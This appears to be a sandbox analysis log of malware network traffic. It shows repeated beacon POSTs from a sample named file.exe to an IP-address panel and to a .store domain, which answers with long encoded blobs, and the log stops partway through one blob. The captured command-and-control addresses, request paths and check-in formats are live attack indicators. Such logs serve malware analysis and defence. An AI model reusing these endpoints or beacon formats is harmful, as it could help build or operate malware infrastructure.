Oct 31, 2024 01:21:55.600756884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	50202	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:57.130295992 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:21:58.053780079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	50203	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:21:59.689620018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:22:00.587275982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	50204	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:02.126089096 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:22:03.049470901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	50206	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:04.677884102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:22:05.577662945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	50207	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:07.111499071 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:22:08.025773048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	50209	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:09.659378052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:22:10.565352917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	50210	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:12.087613106 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:22:13.001081944 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	50211	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:14.634263039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:22:15.531788111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	50212	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:17.087042093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:22:17.996448994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	50213	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:22:19.623022079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:22:20.529952049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 00:18:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 00:18:16 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s8ui5kqkjsd4gdh3tbtcp0j7ik; expires=Sun, 23-Feb-2025 18:04:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2jMhywYGPOMGwvpYOsZ6%2BZSXzzWiOP9QOse4ejQiVb2SBLZS4sCyLOY1xhYRD6Za1e%2FCwV8XMFZA9xXCkjUZbdHyBz4r1LDV2LJXXUs%2BP5F7p0Nz0DqSPFCG8WINqIEO34Cp75o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7780fa4fe54e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1355&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2331723&cwnd=251&unsent_bytes=0&cid=fdf180bc19ad4ef0&ts=755&x=0"
2024-10-31 00:18:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 00:18:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49721	188.114.97.3	443	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 00:18:17 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 00:18:17 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kgp7pcdp2t84i2da5dbp7hvro6; expires=Sun, 23-Feb-2025 18:04:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SBYKddanbMq0sfXqQQEbfRGZ5zoSXccZYzvsw1Kf1qXj4dAdld%2B2cP%2FlL1Qq20kfm9q%2FGJkffKfpDd50z5JfceR7duOOCX5o%2B0LRm0YXCoknglLXWYKXJO5p3Hv%2BD5kLq69Epy4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7789aaade956-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2427493&cwnd=242&unsent_bytes=0&cid=7ae1c0b67496c875&ts=712&x=0"
2024-10-31 00:18:17 UTC	352	IN	Data Raw: 31 64 61 62 0d 0a 74 48 35 68 2f 53 33 63 41 67 42 51 4e 41 56 71 44 42 34 2f 4c 77 79 78 57 72 71 71 75 43 71 7a 51 75 76 79 32 6a 74 67 38 76 50 50 58 42 66 66 46 2b 67 75 49 69 4e 52 4a 31 42 34 62 45 70 4b 49 4a 4d 37 33 6f 69 43 54 4e 49 75 6d 4a 66 32 47 52 61 66 30 59 34 59 41 4a 46 65 75 53 34 69 4e 55 77 6e 55 46 64 6c 48 55 70 69 6b 32 43 59 7a 39 4a 49 30 69 36 4a 6b 37 46 55 45 4a 36 51 33 42 49 47 6c 55 69 2f 5a 6d 45 38 57 57 41 50 61 58 39 56 51 57 58 63 4d 74 65 49 6c 41 6a 57 4f 4d 6e 49 2b 48 59 46 68 70 4c 35 48 78 4b 57 44 36 45 75 65 33 4a 52 61 30 67 32 50 46 35 4b 62 74 30 38 33 73 48 51 51 74 73 6d 69 4a 61 77 53 77 6d 55 6d 39 77 63 42 5a 52 43 74 6e 4a 73 4e 6c 35 72 43 57 4e 2f 48 51 4d 75 31 43 43 59 6b 4a 6f 62 34 79 4f 59 67 Data Ascii: 1dabtH5h/S3cAgBQNAVqDB4/LwyxWrqquCqzQuvy2jtg8vPPXBffF+guIiNRJ1B4bEpKIJM73oiCTNIumJf2GRaf0Y4YAJFeuS4iNUwnUFdlHUpik2CYz9JI0i6Jk7FUEJ6Q3BIGlUi/ZmE8WWAPaX9VQWXcMteIlAjWOMnI+HYFhpL5HxKWD6Eue3JRa0g2PF5Kbt083sHQQtsmiJawSwmUm9wcBZRCtnJsNl5rCWN/HQMu1CCYkJob4yOYg
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 46 4f 73 32 42 77 4f 6c 31 73 44 58 78 33 56 45 42 6a 30 7a 58 53 78 39 6c 49 31 69 71 44 6e 37 4a 64 44 35 32 58 31 68 78 44 30 51 2b 35 65 43 4a 71 46 6b 51 4e 66 6e 74 52 57 79 7a 70 65 4d 65 47 77 77 6a 57 4c 4d 6e 49 2b 46 45 48 6b 35 4c 64 45 77 43 58 52 4b 78 67 63 44 52 62 59 68 70 6f 65 56 4e 48 62 63 45 79 31 73 37 5a 51 64 6f 70 6a 4a 65 38 47 55 7a 51 6c 73 35 63 57 39 39 75 73 32 74 75 4f 45 46 6e 53 48 45 79 52 41 31 70 33 33 69 41 69 4e 35 4a 31 53 47 4e 6e 72 5a 64 44 70 61 66 32 78 4d 46 6c 55 2b 35 61 6d 6f 36 56 32 6f 44 59 58 78 59 51 47 72 56 4e 4e 6e 4e 6d 67 61 52 4a 35 48 51 34 42 6b 73 6c 35 4c 45 58 6a 61 63 51 62 42 6e 64 48 4a 4a 4b 52 45 75 65 31 45 4e 4e 70 4d 32 33 63 66 49 53 63 4d 6c 68 34 4b 30 58 41 53 64 6b 74 67 63 42 Data Ascii: FOs2BwOl1sDXx3VEBj0zXSx9lI1iqDn7JdD52X1hxD0Q+5eCJqFkQNfntRWyzpeMeGwwjWLMnI+FEHk5LdEwCXRKxgcDRbYhpoeVNHbcEy1s7ZQdopjJe8GUzQls5cW99us2tuOEFnSHEyRA1p33iAiN5J1SGNnrZdDpaf2xMFlU+5amo6V2oDYXxYQGrVNNnNmgaRJ5HQ4Bksl5LEXjacQbBndHJJKREue1ENNpM23cfIScMlh4K0XASdktgcB
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 6e 64 48 4a 4a 4b 52 45 75 65 31 45 4e 4e 70 4d 30 30 63 6a 52 51 74 55 67 6a 70 32 39 57 67 57 54 6e 4e 45 57 44 5a 68 4c 73 6d 6c 76 4e 46 5a 67 44 47 74 75 57 45 52 69 33 33 69 57 69 4e 31 51 6b 58 6a 4a 76 37 39 50 41 62 2b 53 78 78 56 44 67 41 47 6e 49 47 55 2b 46 6a 39 49 61 58 6c 56 52 6d 6a 62 4f 4d 72 4e 31 45 50 51 4b 6f 2b 52 74 56 55 45 6b 4a 44 57 47 67 2b 66 53 4c 6c 79 63 44 64 51 64 51 49 75 4d 68 31 4b 64 70 4e 67 6d 50 37 4b 58 38 41 32 79 36 57 37 56 77 79 58 68 35 59 44 54 59 59 50 75 57 77 69 61 68 5a 73 43 47 4a 37 56 55 74 71 32 7a 66 58 77 63 68 4a 33 53 36 62 6c 37 68 51 44 4a 2b 64 33 78 45 45 6b 6b 53 30 62 57 59 31 56 79 64 47 4c 6e 74 46 44 54 61 54 44 73 6a 46 31 6d 62 61 4c 49 44 51 70 78 63 62 30 4a 62 61 58 46 76 66 53 37 Data Ascii: ndHJJKREue1ENNpM00cjRQtUgjp29WgWTnNEWDZhLsmlvNFZgDGtuWERi33iWiN1QkXjJv79PAb+SxxVDgAGnIGU+Fj9IaXlVRmjbOMrN1EPQKo+RtVUEkJDWGg+fSLlycDdQdQIuMh1KdpNgmP7KX8A2y6W7VwyXh5YDTYYPuWwiahZsCGJ7VUtq2zfXwchJ3S6bl7hQDJ+d3xEEkkS0bWY1VydGLntFDTaTDsjF1mbaLIDQpxcb0JbaXFvfS7
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 55 6d 49 4e 61 6e 74 5a 53 32 47 54 64 70 6a 50 77 67 69 4a 59 4b 61 33 6a 52 73 6a 71 74 48 4a 55 68 72 66 53 4c 49 67 4f 6e 4a 61 5a 41 52 6d 63 31 74 45 59 74 6b 78 30 38 54 52 54 4e 30 70 6a 4a 61 35 58 41 65 52 6c 64 6f 57 42 5a 78 4d 73 57 39 74 4f 68 59 70 53 47 6c 6b 48 52 55 75 39 69 2f 54 78 74 77 49 7a 6d 36 51 30 4c 39 56 51 73 6a 52 32 68 55 46 6d 55 71 79 59 57 51 36 55 32 38 4d 62 33 70 62 54 6d 48 58 50 64 6e 48 33 6b 54 66 4b 6f 69 52 74 46 49 4e 6d 35 53 57 55 6b 4f 59 56 2f 34 34 49 67 4e 56 63 52 39 2b 63 42 31 53 49 4d 70 34 33 38 53 61 45 4a 45 68 6d 35 71 79 56 77 65 66 6c 4e 55 54 42 4a 4a 4a 73 6d 70 72 4f 6c 42 6f 41 58 78 2f 55 55 4e 70 33 54 54 57 78 64 42 4c 33 47 44 48 30 4c 39 42 51 73 6a 52 2b 68 73 4f 73 55 53 79 5a 79 49 Data Ascii: UmINantZS2GTdpjPwgiJYKa3jRsjqtHJUhrfSLIgOnJaZARmc1tEYtkx08TRTN0pjJa5XAeRldoWBZxMsW9tOhYpSGlkHRUu9i/TxtwIzm6Q0L9VQsjR2hUFmUqyYWQ6U28Mb3pbTmHXPdnH3kTfKoiRtFINm5SWUkOYV/44IgNVcR9+cB1SIMp438SaEJEhm5qyVweflNUTBJJJsmprOlBoAXx/UUNp3TTWxdBL3GDH0L9BQsjR+hsOsUSyZyI
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 43 41 38 57 6c 55 75 69 33 6a 75 7a 38 70 59 30 6d 4b 34 68 72 74 50 43 5a 32 64 6c 67 4e 4e 68 67 2b 35 62 43 4a 71 46 6d 45 48 5a 33 39 53 54 47 66 66 4e 64 33 42 33 30 6e 58 4a 49 4f 61 75 46 38 45 6b 5a 54 63 48 77 4b 56 52 72 6c 6f 5a 54 46 45 4a 30 59 75 65 30 55 4e 4e 70 4d 52 33 39 72 55 57 4a 45 2f 78 34 6e 34 58 67 37 51 79 5a 59 59 43 5a 42 4c 75 57 78 6b 4e 31 42 71 43 57 46 39 58 55 4a 71 32 44 48 65 79 64 64 4e 33 43 53 62 6d 72 4e 57 44 70 6d 64 32 31 78 4e 33 30 69 6d 49 44 70 79 5a 32 6f 47 59 48 74 4c 44 58 47 64 49 5a 6a 50 31 67 69 4a 59 49 69 63 74 31 6f 4e 6b 35 4c 58 46 68 47 4e 51 37 64 6f 5a 7a 35 64 61 51 35 38 65 6c 4a 45 62 64 41 78 33 38 44 57 51 74 49 6e 79 64 37 34 58 68 72 51 79 5a 59 2f 46 49 39 43 2f 6e 38 73 4b 78 5a 67 Data Ascii: CA8WlUui3juz8pY0mK4hrtPCZ2dlgNNhg+5bCJqFmEHZ39STGffNd3B30nXJIOauF8EkZTcHwKVRrloZTFEJ0Yue0UNNpMR39rUWJE/x4n4Xg7QyZYYCZBLuWxkN1BqCWF9XUJq2DHeyddN3CSbmrNWDpmd21xN30imIDpyZ2oGYHtLDXGdIZjP1giJYIict1oNk5LXFhGNQ7doZz5daQ58elJEbdAx38DWQtInyd74XhrQyZY/FI9C/n8sKxZg
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 74 44 66 4e 59 2b 31 38 66 54 51 64 55 6f 69 70 43 38 58 51 57 56 6b 74 6f 58 42 4a 78 41 75 6d 6c 73 4f 31 6b 6e 52 69 35 37 52 51 30 32 6b 78 6e 44 79 39 5a 46 6b 54 2f 48 69 66 68 65 44 74 44 4a 6c 68 41 4e 6d 6b 2b 30 5a 6d 59 33 55 47 30 4e 62 6e 64 65 51 6d 72 56 50 4e 66 49 30 55 48 51 4a 6f 79 61 73 31 38 50 6b 35 66 51 58 45 33 66 53 4b 59 67 4f 6e 4a 32 66 41 56 69 65 78 31 53 49 4d 70 34 33 38 53 61 45 4a 45 72 68 5a 53 2f 57 51 2b 54 6d 64 4d 59 43 5a 70 50 74 6e 4a 71 4d 6c 46 31 47 6d 35 31 57 45 46 74 30 7a 7a 65 77 64 78 4c 31 57 44 48 30 4c 39 42 51 73 6a 52 2b 78 41 45 74 6b 69 6c 49 48 31 38 54 79 63 50 59 6a 77 46 44 57 2f 59 4d 74 66 46 32 55 37 53 4b 34 79 61 75 56 34 4b 6e 59 50 56 45 77 79 62 54 37 46 6d 5a 44 4e 5a 59 51 39 6e 66 Data Ascii: tDfNY+18fTQdUoipC8XQWVktoXBJxAumlsO1knRi57RQ02kxnDy9ZFkT/HifheDtDJlhANmk+0ZmY3UG0NbndeQmrVPNfI0UHQJoyas18Pk5fQXE3fSKYgOnJ2fAViex1SIMp438SaEJErhZS/WQ+TmdMYCZpPtnJqMlF1Gm51WEFt0zzewdxL1WDH0L9BQsjR+xAEtkilIH18TycPYjwFDW/YMtfF2U7SK4yauV4KnYPVEwybT7FmZDNZYQ9nf
2024-10-31 00:18:17 UTC	406	IN	Data Raw: 55 42 75 62 76 7a 45 4c 57 4d 49 36 48 74 78 6c 4d 30 4a 36 57 52 44 72 66 52 72 6c 37 63 79 52 62 64 77 38 75 51 78 4d 4e 64 70 4e 67 6d 50 33 5a 52 74 38 6e 6e 34 48 31 66 68 53 61 6c 73 59 62 46 4a 41 50 38 43 42 6b 63 67 34 30 52 69 35 34 54 41 30 32 67 32 71 44 6e 59 6b 66 67 58 4b 57 33 71 45 5a 46 4e 44 4a 68 46 4a 44 6a 51 2f 6d 49 43 55 78 52 48 55 4f 62 57 70 65 43 6c 44 74 48 38 4c 46 33 46 2f 41 48 72 65 58 6f 6c 51 45 68 34 43 61 43 51 43 52 51 62 6c 32 49 6e 77 57 61 45 67 32 52 52 30 46 4c 75 78 32 6d 4e 43 61 45 4a 45 56 69 70 36 32 58 68 53 42 33 50 45 47 44 70 6c 59 72 79 41 73 63 6c 41 6e 55 44 34 79 48 55 6c 2f 6b 32 43 49 6d 6f 45 64 67 6e 66 5a 77 71 63 58 47 39 43 48 6c 6b 52 52 30 51 2b 73 49 44 70 79 45 57 51 61 66 48 70 65 57 32 Data Ascii: UBubvzELWMI6HtxlM0J6WRDrfRrl7cyRbdw8uQxMNdpNgmP3ZRt8nn4H1fhSalsYbFJAP8CBkcg40Ri54TA02g2qDnYkfgXKW3qEZFNDJhFJDjQ/mICUxRHUObWpeClDtH8LF3F/AHreXolQEh4CaCQCRQbl2InwWaEg2RR0FLux2mNCaEJEVip62XhSB3PEGDplYryAsclAnUD4yHUl/k2CImoEdgnfZwqcXG9CHlkRR0Q+sIDpyEWQafHpeW2
2024-10-31 00:18:17 UTC	1369	IN	Data Raw: 32 36 63 31 0d 0a 41 45 52 4f 63 53 72 6c 65 58 44 78 52 63 77 39 67 65 6c 30 4e 49 4a 4d 33 6d 4a 44 6a 43 4a 6c 67 74 74 37 34 51 55 4c 49 30 65 4d 66 44 5a 46 49 71 48 45 76 45 55 42 71 42 32 56 39 48 51 4d 75 31 58 69 41 6d 4a 51 49 31 54 48 4a 79 4f 67 4c 57 63 58 43 67 55 78 52 67 41 47 6e 49 48 52 79 44 6a 56 47 4c 6d 34 64 46 53 36 55 4e 74 58 4a 32 55 62 53 4d 70 75 57 75 30 38 42 31 36 2f 6f 50 51 36 55 51 37 4e 76 61 51 78 6f 52 67 56 6c 63 46 42 43 5a 65 30 47 7a 63 76 55 52 74 59 32 6d 4e 44 32 47 51 33 51 79 65 39 63 53 39 39 77 38 43 42 36 63 67 34 6e 50 57 31 79 55 30 70 34 77 6e 58 35 78 64 46 45 33 43 2b 43 30 50 59 5a 42 4e 44 4a 68 6c 4a 44 6d 31 37 2b 4f 44 4a 67 44 54 4a 62 4f 53 77 50 55 69 